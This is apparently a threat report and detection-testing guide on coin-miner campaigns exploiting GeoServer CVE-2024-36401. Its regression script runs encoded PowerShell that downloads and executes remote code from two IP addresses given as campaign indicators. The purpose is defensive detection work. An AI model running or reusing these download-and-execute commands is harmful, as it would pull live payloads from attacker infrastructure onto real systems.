GeoServer Under Attack: Malware Coin Miner Campaigns

Summary

Threat actors are exploiting the GeoServer remote code execution flaw CVE-2024-36401 to deploy cryptocurrency miners and NetCat on unpatched servers. The activity relies on PowerShell, Bash, and certutil to download and launch XMRig from multiple malicious domains and IP addresses. Several downloader scripts and droppers are used, commonly packaged in ZIP archives and persisted as services through NSSM. The primary objective is to seize compute resources for unauthorized mining.

Investigation

The report outlines three variants (A, B, C) that use encoded PowerShell, Bash-based fetchers, and certutil to retrieve miner payloads from pool.supportxmr.com and multiple aaaaaaaaa.cyou subdomains. Delivery mechanisms include batch scripts, ZIP bundles, and a bespoke downloader named systemd, along with HTTP Basic authentication credentials. Analysts extracted key indicators—URLs, IP addresses, and file names—to support detection and scoping.

Mitigation

Apply GeoServer patches addressing CVE-2024-36401 and keep deployments on the latest supported release. Block outbound connections to known mining pools and related infrastructure, and monitor for suspicious encoded PowerShell or Bash executions. Limit certutil usage for non-admin contexts and enforce application allowlisting to prevent unauthorized services installed via NSSM.

Response

Implement detections for the observed command lines, hashes, and network indicators. Quarantine affected hosts, eradicate miner services and persistence artifacts, and run a forensic sweep for any secondary payloads. Rotate exposed credentials and require multi-factor authentication for administrative access.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker has obtained a malicious Base64 payload that downloads a vulnerable GeoServer configuration file, executes it, and then drops a cryptocurrency miner. To evade simple script‑block detection, the attacker uses the -enc switch with a pre‑encoded string (one of the two known IOCs). The attacker runs the payload locally on a compromised Windows host, causing a powershell.exe process creation that includes the exact Base64 string the rule watches for.

• Regression Test Script:

    # -------------------------------------------------
    #  Regression script to trigger the Sigma rule
    # -------------------------------------------------
    # Payload 1 (matches first IOC)
    $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA='
    powershell.exe -enc $b64_1
  
    # Payload 2 (matches second IOC)
    $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk='
    powershell.exe -enc $b64_2

• Cleanup Commands:

    # -------------------------------------------------
    #  Cleanup – terminate any lingering PowerShell payloads
    # -------------------------------------------------
    Get-Process -Name powershell -ErrorAction SilentlyContinue |
      Where-Object { $_.StartInfo.Arguments -match '-enc' } |
      Stop-Process -Force